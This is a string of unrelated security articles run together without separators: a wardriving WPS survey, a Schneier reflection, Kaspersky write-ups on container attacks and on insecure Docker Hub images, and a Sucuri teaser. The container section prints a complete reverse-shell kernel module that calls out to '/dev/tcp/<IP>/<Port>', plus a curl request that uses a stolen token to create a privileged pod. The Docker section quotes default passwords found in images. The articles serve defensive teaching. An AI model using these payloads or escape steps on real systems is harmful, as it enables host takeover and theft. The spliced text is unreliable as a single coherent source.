Almost half of the detected wireless networks in each city continued to advertise WPS, indicating that WPS prevalence is consistently high across the three cities.

Secure networks with WPS enabled

In many cases, networks classified as secure because of WPA2/WPA3 encryption still had WPS functionality enabled, which effectively increased the available attack surface.

To further assess the relationship between encryption strength and WPS exposure, we conducted a secondary analysis of secure networks (WPA2/WPA3) only. The results showed that around half of all secure deployments still exposed WPS, with the following breakdown for each city:

• Mexico City: 53.7%
• Guadalajara: 50.9%
• Monterrey: 47.5%

The proportion of secure networks with WPS enabled across the three locations (download)

These findings indicate that encryption strength alone is not enough to evaluate wireless security posture because additional protocol features, such as WPS, may still expose exploitable attack vectors.

Additional security considerations

Overall, travelers operating within dense public environments are exposed not only to insecure wireless infrastructure but also to various risks associated with digital interactions. These risks include many threats, from public USB charging systems and phishing QR codes to proximity-based protocols and exposure to shared public devices, such as interactive totems or kiosks. One particular point that should be taken into account in light of our research is the issue of rogue wireless deployments.

Rogue access points are not necessarily malicious; they may be set up accidentally by misconfiguring router settings. An entry point for potential compromise might be caused by various misconfigurations, from a weak password to an insecure protocol. However, attackers deploy such unauthorized hotspots with malicious intent to infiltrate a network. Threat actors may deploy rogue access points posing as legitimate public wireless networks in airports, hotels, cafés and tourist areas. These deployments are called “evil twins” and can trick users into connecting to attacker-controlled infrastructure capable of intercepting traffic, harvesting credentials, or performing man-in-the-middle attacks. Further risk lies in the potential compromise of local network devices or even malware distribution. Such threats complement our findings, underscoring the importance of implementing traffic encryption, using a security solution and exercising extreme caution while browsing via public networks.

Conclusion

The wardriving assessment conducted in Mexico City, Guadalajara, and Monterrey revealed that modern wireless infrastructure continues to present multiple forms of operational exposure despite the widespread adoption of WPA2 and WPA3 security standards. The analysis demonstrated that wireless environments are highly standardized in all the locations, with recurring ISP deployments, default SSID naming conventions, homogeneous manufacturer distribution, and predictable channel allocation practices observed in all three cities.

Although most of the detected networks were classified as secure under WPA2/WPA3 authentication mechanisms, a significant proportion were exposing additional attack surfaces through enabled WPS functionality, default configurations, sequential SSID structures, and infrastructure metadata disclosure. This demonstrates that encryption strength alone is insufficient for evaluating the overall security posture of wireless infrastructure. Additionally, the prevalence of open networks and legacy wireless configurations indicates that insecure deployments are still operationally relevant in all the locations.

The results also showed that wireless infrastructure is heavily concentrated within the 2.4 GHz spectrum, particularly around channels 11, 6, and 1. This leads to elevated congestion and increased co-channel interference in densely populated urban environments.

SSID analysis further revealed that publicly broadcast wireless identifiers frequently expose valuable operational information about ISPs, equipment manufacturers, deployment templates, organizational ownership, and user-defined naming practices. The identification of default ISP naming conventions, sequential SSID structures, and BSSID-derived SSIDs demonstrated that many deployments prioritize operational convenience and simplicity over exposure minimization and privacy.

The scope of the threats stemming from vulnerable wireless configurations poses serious digital exposure risks for users. The widespread presence of standard deployments, predictable SSID naming and publicly exposed infrastructure identifiers can facilitate passive reconnaissance, infrastructure fingerprinting and opportunistic targeting.

Recommendations

To minimize the risks of wireless-based exposure and the attack surface related to hotspot infrastructure, we recommend taking the following measures:

• Disable WPS functionality on wireless routers whenever possible, particularly within WPA2/WPA3 deployments.
• Avoid using default SSID naming conventions that disclose ISP providers, router manufacturers, or deployment templates.
• Refrain from using personal, organizational, or location-based identifiers in wireless network names.
• Avoid configuring SSID using BSSID or naming conventions derived from MAC addresses, as these may expose hardware fingerprinting information.
• Promote migration toward modern WPA3-capable infrastructure while removing legacy wireless protocols when operationally feasible.
• Reduce wireless congestion by optimizing channel allocation strategies and minimizing excessive dependence on the 2.4 GHz spectrum.
• Encourage adoption of 5 GHz and newer wireless technologies to reduce interference and improve spectrum efficiency.

The findings presented in this assessment emphasize the importance of combining strong wireless encryption standards, secure deployment practices, exposure minimization strategies, and user awareness to enhance the overall security posture of wireless environments.

As part of their 20th Anniversary celebration, Dark Reading asked five cybersecurity industry leaders who wrote blogs or columns for them over the years to select their favorite piece and share their reflections on the topic today. This is my section.

Renowned technologist and author Bruce Schneier contributed a column on June 20, 2010, warning about cryptography’s inability to secure modern networks, a point he says he has been trying to argue since 2000.

“For a while now, I’ve pointed out that cryptography is singularly ill-suited to solve the major network security problems of today: denial-of-service attacks, website defacement, theft of credit card numbers, identity theft, viruses and worms, DNS attacks, network penetration, and so on.

“Recently, I talked to a former NSA employee at a conference. He told me that back in the 1990s, he had a copy of my book Applied Cryptography by his desk, as did many other cryptographers working at Ft. Meade. People were allowed to refer to it, but they were not allowed to cite it.

“The 1990s were an important decade for cryptography. This was before the internet went mass market, when cryptography was just emerging from a niche academic discipline to a mainstream engineering one. There wasn’t much that programmers could read. The NSA used my book for the same reason it became a bestseller: because it collected all the academic cryptography of the time in one place and made it understandable to people who weren’t mathematicians. They feared it for exactly the same reason.

“I’ve been thinking about that conversation as I revisit a 2010 essay I wrote for Dark Reading, ‘The Failure of Cryptography to Secure Modern Networks.’ Cryptography has inherent mathematical properties that greatly favor the defender. Adding a single bit to the length of a key adds only a slight amount of work for the defender but doubles the amount of work the attacker has to do. Doubling the key length doubles the amount of work the defender has to do (if that—I’m being approximate here) but increases the attacker’s workload exponentially. For many years, we have exploited that mathematical imbalance.

“Computer security is much more balanced. There’ll be a new attack, and a new defense, and a new attack, and a new defense. It’s an arms race between attacker and defender. And it’s a very fast arms race. New vulnerabilities are discovered all the time. The balance can tip from defender to attacker overnight, and back again the night after. Computer security defenses are inherently very fragile.

“That isn’t a new idea. I said much the same thing in the preface to my 2000 book, Secrets and Lies:

“‘Cryptography is a branch of mathematics. And like all mathematics, it involves numbers, equations, and logic. Security, real security that you or I might find useful in our lives, involves people: things people know, relationships between people, people and how they relate to machines. Digital security involves computers: complex, unstable, buggy computers.’

“I especially like how I phrased it in 2016: ‘Cryptography is harder than it looks, primarily because it looks like math. Both algorithms and protocols can be precisely defined and analyzed. This isn’t easy, and there’s a lot of insecure crypto out there, but we cryptographers have gotten pretty good at getting this part right. However, math has no agency; it can’t actually secure anything. For cryptography to work, it needs to be written in software, embedded in a larger software system, managed by an operating system, run on hardware, connected to a network, and configured and operated by users. Each of these steps brings with it difficulties and vulnerabilities.’

“It’s a lesson we have all learned over the decades. Cryptography is still necessary for cybersecurity—although I wouldn’t have used that word back then—but is not sufficient. There are particular attack and forms of mass surveillance that cryptography prevents. But as computers have infused throughout our lives, and networks have connected all those computers, those aspects of cybersecurity have become increasingly important, and vulnerable.

“Today, the cybersecurity world is changing yet again, this time due to the capabilities of artificial intelligence. AI isn’t advancing cryptography, but it’s changing cybersecurity. AI has demonstrated a superhuman ability to find vulnerabilities in software and to write exploits. A similar ability to write patches is probably coming. This has profound implications for both attackers and defenders, and it is unclear who will win the particular arms race in a world of what I call instant software.”

Introduction

Modern infrastructures universally rely on containerization to deploy applications, scale services, and build cloud platforms. The use of Docker, Kubernetes, and similar technologies has become the corporate standard for efficient automation. However, as containers grow in popularity, so does the interest of malicious actors — a trend we actively track in our research into advanced cyberthreats. For instance, in one of its recent attacks, the APT group TeamPCP compromised Checkmarx KICS across multiple attack chains for different vectors. This included poisoning a Docker Hub repository to later steal Kubernetes secrets and other sensitive data. The tainted images distributed a stealer that was loaded during the KICS scanning process.

Today, attacks on container environments have evolved into full-fledged, multi-stage scenarios involving supply chain compromises, Kubernetes secrets theft, orchestration API abuse, and container escape attempts. This article examines the primary container attack vectors that retain top relevance today.

Principles of containerization

A container is an isolated code execution environment, designed to partition resources so applications can run correctly and independently. Unlike a virtual machine, a container uses the single underlying kernel of the host operating system.

To isolate the environment, a container uses a distinct process namespace and a virtual file system. Container resources are capped and shared with the host system. This container isolation is built on top of Linux kernel features such as namespaces, cgroups, capabilities, and seccomp.

Compromising a container can help attackers achieve their objectives on the host system itself. Below, we examine the current vectors relevant to container implementation architecture and infrastructure.

Current attack vectors

The primary and most critical attack vectors targeting container environments that are actively exploited by malicious actors include:

• Exploiting vulnerabilities in the host system and container runtime components
• Malicious activity inside a compromised container
• Container escape followed by host compromise
• Exploiting misconfigurations and the insecure use of containerization and orchestration APIs
• Supply chain attacks, including container image poisoning and CI/CD pipeline compromise

Each of these vectors can be utilized either independently or as part of a complex, multi-stage attack chain. In practice, attackers rarely stop at compromising a single container; their primary objective is often to gain access to the Kubernetes cluster, secrets management systems, or other mission-critical environment components. This is why securing container infrastructure requires a comprehensive approach that spans configuration auditing, runtime protection, activity monitoring, and software supply chain security. Let’s take a closer look at each of these vectors.

Exploiting host system vulnerabilities

Because a container does not have its own isolated OS, vulnerabilities affecting the Linux kernel or runtime components remain just as critical when exploited from within a container.

Any vulnerability that allows for privilege escalation, arbitrary code execution, or isolation bypassing can potentially be leveraged by an attacker once the container is compromised. Successful exploitation of these flaws can lead to a container escape, compromise of the Kubernetes node or the entire cluster, lateral movement across the infrastructure, secrets theft, and malicious actions potentially culminating in a complete service disruption. It is worth noting that the mere presence of a vulnerability does not always guarantee a compromise, as exploitation sometimes requires specific configuration settings or privileges to work.

Below are examples of several vulnerabilities leveraged in attacks on container environments:

• CVE-2019-5736 is one of the most prominent and illustrative vulnerabilities associated with containerization. It affected the runC runtime environment and allowed an attacker, who already had root access inside the container, to execute arbitrary code on the host system with root privileges. The root cause of the vulnerability was runC’s improper handling of the file descriptor for its own executable via the /proc/self/exe mechanism. When a container was started, the runC process temporarily executed within the container’s context while remaining a host system process. This allowed an attacker to gain access to the runC binary and overwrite its contents.
• CVE-2022-0492 is a critical Linux kernel vulnerability that allows for container escape and arbitrary command execution on the host system. The flaw stemmed from improper privilege validation when interacting with the cgroups release_agent mechanism. This vulnerability posed a particular risk for container infrastructures because it allowed an attacker who already possessed code execution capabilities inside a container to break out of isolation and gain control of the host system.
• CVE-2024-21626 is a critical vulnerability in runC that allowed an attacker to access the host file system from within a container, and in specific scenarios, even perform a complete container escape. The root cause of the issue was runC’s improper handling of file descriptors and the process’ current working directory when spinning up containers or executing commands via docker exec or similar mechanisms.

Malicious actions inside the container

Sometimes, an attacker does not need to exploit complex attack chains involving container escapes, Kubernetes cluster compromise, or lateral movement to achieve their goals. In many cases, the container itself already houses data and resources that are highly valuable to the attacker. For example, a container may contain:

• User and service credentials
• API keys
• Access tokens
• SSH keys
• Environment variables containing secrets
• Kubernetes ServiceAccount tokens
• Configuration files
• Application service data or databases

These types of data are especially prone to exposure due to configuration mistakes or specific operational processes. For instance, secrets might be passed via environment variables, baked into Docker images during the build phase, or mounted directly inside the container. In Kubernetes environments, automatically mounted ServiceAccount tokens are of particular interest to attackers, as they provide a direct pathway to interact with the Kubernetes API.

Even a single compromised container frequently provides an attacker with sufficient leverage for next steps: gaining access to external services, compromising cloud infrastructure, stealing user data, impersonating a trusted service, or establishing persistence within the environment. Beyond data theft, malicious actors can use a compromised container as a staging ground for further malicious activity. This is why securing container infrastructure is about much more than just preventing escapes. Even a fully isolated container, if it houses sensitive data or holds access to internal services, can become a major foothold for an infrastructure breach.

In the context of this vector, approaches and techniques applicable not only to container environments but also to traditional systems are frequently applied. Once an attacker gains access to a container, they usually find themselves in a full-featured Linux environment, allowing them to deploy standard post-exploitation, reconnaissance, and persistence methods.

We explored container configuration errors and other unsafe practices that attackers could exploit to carry out malicious activities in more detail in this article.

Container escape

Container escape is one of the most dangerous and prevalent attack vectors targeting container infrastructure. The term refers to the bypassing of container isolation, allowing an attacker to directly interact with the host system.

The opportunity to escape a container can arise from a multitude of sources: the exploitation of vulnerabilities, container misconfigurations, or the insecure use of containerization and orchestration APIs. Indeed, container escape is the logical conclusion of most attacks on container infrastructure, as the attacker’s ultimate goal is frequently to break out of the isolated environment and gain access to the host system or the broader Kubernetes cluster. As such, container escape ties together a significant portion of the attack vectors discussed in this article. In practice, misconfigurations remain one of the most common root causes of successful container escapes, as they occur far more frequently than the exploitation of complex vulnerabilities. With that in mind, we will take a closer look at container misconfigurations and their associated attack scenarios below.

To better understand the risks associated with container misconfigurations, let’s explore the concept of capabilities in Linux systems. This is a mechanism for granularly granting extended permissions to processes, allowing them to perform privileged actions without needing full root access.

Privileged containers

One of the most dangerous configurations is running a container with the --privileged flag. In this mode, the container is granted all Linux capabilities, direct access to host devices, and the ability to interact with kernel interfaces. A container configured this way virtually ceases to be an isolated environment and, in many cases, possesses capabilities comparable to root access on the host system.

Let’s look at a basic example of a container escape attack involving the --privileged flag. Using the capsh utility, you can see that such a container possesses virtually all Linux capabilities. Furthermore, if the PID namespace matches the host’s, the process with PID=1 corresponds to init, the first system process in Linux. In a different configuration, PID 1 would belong to the process that created the container. If we spawn a shell from the init process using the nsenter utility, the expected behavior is the creation of a process outside the container, which can easily be verified by using the hostname command.

Container privilege misconfigurations open up a broad attack surface. Let’s dive deeper into how specific capabilities can be used to execute a container escape.

CAP_SYS_ADMIN

CAP_SYS_ADMIN is considered one of the most dangerous Linux capabilities in the context of container security. Although Linux capabilities were originally intended to break down superuser privileges into discrete categories, over time, CAP_SYS_ADMIN became a catch-all for a massive number of sensitive kernel operations. As a result, a container granted this capability gains access to a wide array of system mechanisms that directly impact container isolation. It inherits the ability to mount file systems, interact with the cgroups mechanism responsible for resource allocation, modify kernel parameters within certain limits, work with loop devices, and utilize various namespace management features. In practice, this heavily blurs the line between the container and the host system.

This capability becomes especially dangerous when combined with other configuration errors. For instance, if the container is configured to use the hostPath parameter, an attacker can leverage a container compromise to mount the host system’s directories right into their own environment and access critical host files. Similarly, having access to /proc or /sys allows for direct interaction with internal Linux kernel mechanisms, which can drastically expand the blast radius of the breach.

Let’s look at a clear example of how having CAP_SYS_ADMIN can help an attacker escape a container. Illustrated below is the sequence of actions inside a container possessing CAP_SYS_ADMIN privileges and access to host directories. By mounting the host’s disk to a folder inside the container, the attacker can freely interact with all files on the host system. In this specific example, it shows the ability to overwrite the root user’s shell configuration by injecting an arbitrary malicious payload.

CAP_SYS_MODULE

CAP_SYS_MODULE provides direct access to the kernel module loading and unloading mechanism. This direct interaction with kernel space makes CAP_SYS_MODULE a high-risk capability, unlike many other capabilities that are restricted purely to user space.

From a Linux architectural standpoint, kernel modules consist of code executing with maximum privileges inside kernel space. These modules can extend system functionality, manage devices, handle the network stack, interface with file systems, and control other mission-critical components. This is why the ability to dynamically load these modules via CAP_SYS_MODULE equates to having the power to manipulate the behavior of the entire operating system.

In practice, modern containerized applications rarely require CAP_SYS_MODULE. The presence of this capability is typically tied to legacy architectures, monitoring systems, or specialized drivers that must interact directly with the kernel. This is why CAP_SYS_MODULE is almost universally banned in modern infrastructures. In most environments, it is considered an unacceptable risk because its compromise does not just lead to localized privilege escalation within the container, but to code execution directly in kernel space.

A container escape using this capability happens in several stages. The goal of the attack in this case is to load a malicious Linux kernel module. It is worth noting that the module must match the specific kernel version in use, requiring the attacker to perform additional reconnaissance to identify it. These attacks can be executed entirely within the container if it contains the necessary build tools to compile the module and has access to kernel dependency directories. However, because these utilities are typically stripped from container images, attackers usually compile the malicious payload with the required dependencies on an external host. They then either transfer it over the network or drop it into a binary file on the target by using a command like echo.

Let’s look at a container escape using a kernel module with the following payload example:

#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("Test");
MODULE_AUTHOR("Test");
MODULE_DESCRIPTION("reverse shell module");
MODULE_VERSION("1.0");

char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/<IP>/<Port> 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };

static int __init reverse_shell_init(void) {
    return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}

static void __exit reverse_shell_exit(void) {
    printk(KERN_INFO "Exiting\n");
}

module_init(reverse_shell_init);
module_exit(reverse_shell_exit);

Upon loading, this module triggers the reverse shell. Once the payload is built and successfully delivered to the container, all the attacker needs to do is start a listener on the IP address and port specified in the payload, and then load the module into kernel space.

CAP_SYS_PTRACE

The CAP_SYS_PTRACE capability grants a process elevated permissions to interact with other system processes via the ptrace system call. While it is designed for debugging and code tracing, its misconfiguration in containerized environments can severely weaken isolation and, under certain conditions, enable a container escape leading to host system compromise.

The primary risk of CAP_SYS_PTRACE is that it allows a process to read and modify the memory of other processes, control their execution, inject code, and extract sensitive data directly from memory. Furthermore, CAP_SYS_PTRACE enables process injection techniques.

If a container is compromised, an attacker can use ptrace to attach to host processes. Crucially, this is only possible if the host’s PID namespace is shared with the container — this is configured via hostPID: true. This configuration allows the attacker to target a process running on the host, inject code, and trigger a reverse shell — though in most cases, this requires additional malicious code. The image below demonstrates this kind of an attack, implemented using a publicly available PoC.

CAP_NET_ADMIN

CAP_NET_ADMIN provides extensive privileges to manage the network stack of a Linux system. If a container is compromised, the presence of this capability significantly weakens network isolation and creates additional opportunities for further exploitation.

A container equipped with CAP_NET_ADMIN can modify network interface configurations, manipulate routing tables, interact with traffic filtering mechanisms, and alter the behavior of the network stack. Although most of these operations are formally restricted to the container’s own network namespace, in practice, this capability is frequently combined with other misconfigurations — such as the hostNetwork: true parameter — which grants direct access to the host’s network resources.

Once inside the container, an attacker can leverage this capability to modify its network behavior and launch further attacks across the infrastructure. One of the most common scenarios involves manipulating iptables rules to redirect traffic. This enables man-in-the-middle (MitM) attacks, allowing the attacker to intercept internal traffic or mask their own malicious activities.

It is important to emphasize that there are many other Linux capabilities that can lead to a container escape when combined with specific misconfigurations; we have highlighted only a few of the most severe and frequently encountered.

Exploitation of orchestration APIs

One of the most dangerous and common attack vectors in containerized infrastructure is the exploitation of misconfigured container management and orchestration APIs. Unlike attacks that require complex kernel vulnerability exploits or container escape, this scenario is often remarkably straightforward: the attacker simply needs to gain access to the control interfaces of the container environment.

The fundamental risk stems from the fact that container platform APIs possess inherent administrative privileges over the entire infrastructure. The Docker API, Kubernetes API, and kubelet API are designed to spin up containers, modify configurations, access host file systems, and execute commands inside running containers. When misconfigured, these interfaces immediately become a point of failure for the entire environment.

One of the most notorious examples of this vector is an exposed Docker API. If the Docker daemon is accessible over TCP without TLS or authentication, an attacker can remotely interact with the host system with permissions equivalent to a local administrator. They can deploy new containers custom-configured for attacks, mount the host’s entire root file system, and execute arbitrary commands within any container via the API. In practice, compromising an unauthenticated Docker API typically leads to a complete host takeover after just a few API requests.

Similar risks exist within Kubernetes environments. The Kubernetes API server acts as the central control point for the entire cluster. If an attacker manages to compromise a ServiceAccount token, exploit weak RBAC policies, or discover an inadvertently exposed API server, they can execute a broad spectrum of destructive operations.

For the sake of this attack example, let us assume that an attacker has compromised a Kubernetes API token for a privileged account. First, they enumerate the token’s permissions, typically by running a script to query each individual capability. This gives them a full list of Kubernetes privileges.

The script’s output reveals that the compromised API token grants exceptionally high privileges within the cluster. The logical next step in the attack chain is to deploy a malicious, privileged container to execute any of the host escape techniques described above. In our example, the attacker used a curl POST request to the API to create the container:

curl -k -X POST   https://<kubernetes-url>/api/v1/namespaces/default/pods   -H "Authorization: Bearer <Token>"   -H "Content-Type: application/json"   -d @pod.json

The configuration passed in the pod.json file is explicitly designed to enable an escape:

{
  "apiVersion": "v1",
  "kind": "Pod",
  "metadata": {
    "name": "privileged-pod-from-api"
  },
  "spec": {
    "containers": [
      {
        "name": "debug-container",
        "image": "ubuntu:latest",
        "command": ["sleep", "3600"],
        "securityContext": {
          "privileged": true
        }
      }
    ]
  }
}

Once the privileged container is deployed, the attacker can execute an escape to compromise the underlying host system.

However, this is not the only high-risk scenario involving API requests. For instance, when a Docker socket is mounted inside a container, an attacker gains the ability to interact with the Docker daemon directly. Once that container is compromised, the attacker effectively inherits the privileges of the daemon, which means they gain control over all containers on the host.

To execute the attack, adversaries look for containers with mounted sockets. The further progression of the attack replicates what has been described above: an API request is made to create a privileged container, after which any escape method is similarly exploited using the API.

Supply chain attacks

Unlike classic attacks aimed at exploiting vulnerabilities in already deployed containers, this approach focuses on compromising components before they are even launched in the runtime environment. Modern container infrastructure is tightly integrated with a large number of external components. As a result, container security directly depends not only on the application itself, but on the entire image build and delivery chain. Compromising any of these stages potentially allows an attacker to inject malicious code into multiple containers and services simultaneously.

One of the most common scenarios involves attacks that contaminate container images. In many organizations, developers use public images from Docker Hub or other available sources without a full verification of their origin or contents. Threat actors frequently publish contaminated images that masquerade as popular services and utilities. Once a container like that is launched within the infrastructure, the attacker gains the ability to execute their own code right inside the organization’s trusted environment.

Furthermore, CI/CD container deployment systems are among the most frequent targets of these attacks. Application build and delivery platforms typically possess elevated privileges. For instance, after gaining access to a CI/CD system, an attacker can covertly modify the Docker image build stages. Instead of altering the application’s source code, the attacker can inject the malicious logic directly into the pipeline itself. An additional command during the build process can download a third-party binary, add a hidden script, modify the container configuration, or implant a remote management mechanism. Externally, the container will look completely legitimate because its core functionality remains unchanged.

Takeaways

Overall, modern attacks on container environments demonstrate that the primary threat arises not just from within the container itself, but from the implementation of the container infrastructure as a whole. Containers are frequently exploited as an initial foothold to establish persistence within a system; following an initial compromise, attackers aim to either escalate to the host OS level or gain control over infrastructure management via containerization and orchestration APIs. To achieve this, they exploit weak configurations, excessive capabilities, and isolation flaws.

Furthermore, there is a visible trend of attacks shifting toward CI/CD pipelines, where compromising a single component can lead to a full infrastructure takeover. Therefore, under current realities, securing containerized environments requires an approach that encompasses host protection, strict access control within the orchestrator, minimization of container capabilities, and comprehensive validation of the entire supply chain. Our solution Kaspersky Container Security has been designed with the specific characteristics of container environments in mind and provides protection at various levels from container images to the host system helping to implement the principles of secure software development.

If you run a website, you know that a single unpatched vulnerability can take your site offline, damage your reputation, or leave you cleaning up after an attack. Most compromises we see start with automated attacks targeting known software flaws, often the same ones that have already been reported and disclosed.

To help you stay ahead of these threats, we’ve put together this month’s roundup of critical security updates and vulnerability patches affecting the WordPress ecosystem.

Continue reading Vulnerability & Patch Roundup — May 2026 at Sucuri Blog.

Introduction

Containerization using Docker has become firmly established in modern development standards, significantly increasing the speed and convenience of deploying various services. Developers often use ready-made Docker images, making only minimal changes. The largest repository of container images is the Docker Hub service.

Container-hosted infrastructure is an attractive target for attackers. At a minimum, a compromised container can be used for DDoS attacks, cryptocurrency mining, or traffic proxying. The list of threats does not end there: once an attacker gains control of a container, they can steal or destroy data directly from it, access neighboring containers, or even attempt to escape the container, compromising the entire enterprise network.

At the same time, the infrastructure inside containers is typically updated less frequently and may contain outdated and vulnerable software versions. When deploying third-party images or modifying them for a specific environment, it is easy to make configuration errors that attackers can later exploit. And due to the architectural characteristics of containers, developers often face constraints when preparing images; to overcome these, they may resort to insecure solutions they find online.

In other words, containerized infrastructure can be both the simplest and the most lucrative target to exploit. Therefore, its security requires heightened attention. To minimize the risk of successful attacks on container infrastructure, it is essential to check the final Docker images, including all underlying layers, for vulnerabilities and misconfigurations. The easiest way to do this is by analyzing the Dockerfile; however, it is not always available for inspection. Moreover, it typically defines how to build layers on top of a base image from an external repository whose reliability cannot be guaranteed.

Image analysis results in Kaspersky Container Security

To help users identify insecure configurations and potential vulnerabilities within them, we have added our AI assistant to Kaspersky Container Security.KIRA (the assistant’s name) uses artificial intelligence to analyze the image and identify potential issues within, along with recommendations on how to fix them.

As part of this study, we asked KIRA to analyze a number of popular community images, and later in this article, we’ll show you the results.

Software vulnerabilities and compromise of update sources

One of the key security issues with using pre-built images is that developers do not update them in a timely manner. A Docker image is, by its very nature, a snapshot of a specific Linux distribution after packages have been installed on it. However, in most cases, it does not receive security updates on its own, unlike traditional Linux servers, where these updates are automatically installed by specialized services, such as unattended-upgrades in Debian-based distributions and dnf-automatic in RedHat-based distributions.

To apply updates to a Docker image, it must be rebuilt and redeployed. Often, this process is not automated, and some updates require additional effort to verify their correct operation, modify configurations when upgrading to new software versions, and so on. As a result, many popular images do not receive timely updates, which significantly increases the risks associated with their use.

An image that was secure at build time accumulates vulnerabilities as they are discovered in the packages installed within it, which over time significantly increases the opportunities for a successful attack on the container.

Vulnerable versions of web applications and network services accessible from the internet immediately become targets of various malicious campaigns. For example, just one day after the discovery of the CVE-2025-55182 vulnerability in React Server Components, our honeypots recorded numerous attack attempts related to this vulnerability. It was adopted by operators of many malicious campaigns, ranging from classic cryptocurrency miners to variants of Mirai and Gafgyt. Attackers are constantly adding new distribution methods and can use dozens of exploits targeting various vulnerabilities and configuration errors in popular services. Often, the same vulnerabilities are used in self-propagation mechanisms from already compromised hosts. For example, in a malicious campaign to spread the Dero miner, attackers use infected containers to automatically search for and infect new targets.

In addition to vulnerabilities that can be exploited remotely, attackers are rapidly adding local vulnerabilities to their arsenal, used to gain root privileges and escape the container: in the Kinsing malware campaign, attackers used CVE-2023-4911 (Looney Tunables) to elevate privileges, and in the perfctl campaign, the CVE-2021-4034 (PwnKit) vulnerability was used for the same purpose. The access gained was used to install a rootkit that hides the presence of perfctl on the system.

To assess the situation with unpatched vulnerabilities in containers, we took a random sample of 100 images, which included various popular solutions with 10,000 to 1 million downloads on DockerHub. In the 64 images we scanned, we found outdated software versions with critical vulnerabilities. For example, some images contained the CVE-2025-49844 vulnerability in the Redis server, leading to RCE by leveraging a vulnerability in the Lua parser; the current CVE-2026-24061 vulnerability in nginx, which in some configurations leads to a server process crash, and with ASLR disabled, again, to RCE; vulnerabilities CVE-2025-32463 in sudo and CVE-2023-4911 in glibc, allowing an attacker to gain root privileges with local access. At the same time, only one in ten Docker images from the analyzed sample is fully up to date.

TOP 10 Critical Vulnerabilities with PoC/Exploits available as shown in the Kaspersky Container Security Dashboard

It is worth noting that, of course, not every discovered vulnerability can be directly exploited by attackers. A practical risk arises when the vulnerable application or library is actually in use, and the conditions necessary for exploitation – which vary significantly from vulnerability to vulnerability – are met. Nevertheless, updates must not be ignored, as the risk of vulnerabilities being exploited – both individually and in various combinations – cannot be predicted in each specific case, and even vulnerabilities that seem harmless at first glance can ultimately pose a serious risk of compromise.

A record number of vulnerabilities in a single image

However, frequent updates have a downside. Every rebuild that downloads new packages from source repositories introduces an additional risk of a supply chain attack – a compromised dependency or a modified base image could silently inject malicious code into your environment precisely through an update. During our analysis of images from the sample, we did not find any signs of supply chain attacks. However, in March 2026, a supply chain incident occurred in the Trivy and LiteLLM projects. In the case of Trivy, the infected file was injected directly into the container image in the official repositories.

Detecting potentially malicious software using one of the images as an example

This leads to a difficult choice: infrequent updates leave known vulnerabilities unpatched within the image, while frequent updates increase the risk of supply chain compromise. Therefore, to protect your infrastructure, you need not only to regularly update base images but also to take a more comprehensive approach, specifically by pinning dependencies to known-good versions and scanning the resulting images for malware upon update.

Configuration vulnerabilities

Even a container with a fully updated image can be compromised if it is configured incorrectly. Embedding keys and secrets in the image, disabling authentication in network services, default passwords, and insecure file access permissions – all of these can be exploited by attackers in one way or another to achieve their goals.

Insecure image configurations detected by KCS based on rules

The situation is exacerbated by the fact that errors may be introduced by the authors of the original image, which complicates their detection, as this requires analyzing every layer and the command that generated it. As with vulnerabilities, not every configuration error leads to compromise: it all depends on the container’s role, its network accessibility, and many other factors. But the very use of insecure settings will sooner or later lead to errors appearing in images where their consequences will be significantly more dangerous.

Standard rules are often insufficient for analyzing problematic configurations. To gain a deeper understanding of the context and assess potential risks, AI tools can be used. Later in this section, we will examine examples of typical insecure configurations we discovered while scanning public images from Docker Hub, along with the descriptions of issues and risk mitigation methods provided by the KIRA AI assistant.

Example of container analysis using KIRA

Insecure handling of credentials

Use of default passwords

In some cases, containers may use default passwords set via environment variables or directly in Dockerfile. If these passwords are not overridden, attackers will be able to access the application by using the default password.

RUN |1 DEBIAN_FRONTEND=noninteractive /bin/sh -c echo [removed]:[removed] | chpasswd

According to KIRA’s analysis, the user’s password is stored in plain text in the image layer history. Anyone who gains access to the image – whether through a public registry, a compromised build environment, or other means – will be able to extract the password. If SSH or another form of interactive access is enabled in the container, this could lead to its complete compromise and allow attackers to move laterally within the infrastructure.

Passwords may be present in environment variables. Consider the following Dockerfile snippet:

ENV SERVERNAME=localhost WWW_PATH_CONF=/etc/apache2/apache2.conf WWW_PATH_ROOT=/var/www HTTPS=on PKP_CLI_INSTALL=0 PKP_DB_HOST=db PKP_DB_NAME=pkp PKP_DB_USER=pkp PKP_DB_PASSWORD=changeMePlease PKP_WEB_CONF=/etc/apache2/conf-enabled/pkp.conf PKP_CONF=config.inc.php PKP_CMD=/usr/local/bin/pkp-start

In this example, the environment variable PKP_DB_PASSWORD is set to changeMePlease. If the user forgets to override it, the application will use the password that can be obtained from Dockerfile.

Let’s look at another image:

/bin/sh -c #(nop)  ENV MOODLE_URL=<a href="http://0.0.0.0/">http://0.0.0.0</a> MOODLE_ADMIN admin       MOODLE_ADMIN_PASSWORD [removed]      MOODLE_ADMIN_EMAIL admin@example.com MOODLE_DB_HOST     MOODLE_DB_PASSWORD       MOODLE_DB_USER     MOODLE_DB_NAME    MOODLE_DB_PORT 3306

For this image, Dockerfile specifies that the administrator password is hardcoded in the ENV directive and remains in the image metadata (layer history, docker inspect). Anyone who gains access to the image (registry, build cache) will be able to extract this secret and compromise the account.

To eliminate these risks, ensure that no passwords are specified in Dockerfile. If authentication is required, you can use orchestrator mechanisms (secrets) or generate a temporary password when starting the container via the entrypoint script, without saving it in the layers. We also recommend using mechanisms for securely passing secrets at runtime (Docker secrets, Kubernetes Secrets) or, as a last resort, passing them via --secret during the build with BuildKit, but under no circumstances should they be left in the final image.

Passing passwords via command arguments

In some cases, passwords may be exposed when passed via command-line arguments, as these arguments are visible to all users on the system:

/bin/sh -c #(nop)  HEALTHCHECK &{[""CMD-SHELL"" ""mysql --protocol TCP -u\""root\"" -p\""$MYSQL_ROOT_PASSWORD\"" -e \""SELECT 1;\""""] ""15s"" ""30s"" ""0s"" '\x05'}

In the example provided, the MySQL superuser password is passed into the healthcheck command in plaintext, making it visible when viewing the process list (ps aux), in audit logs, and in monitoring systems. If the attacker gains read access to the container’s processes or logs, they can extract the password and gain full control of the database.

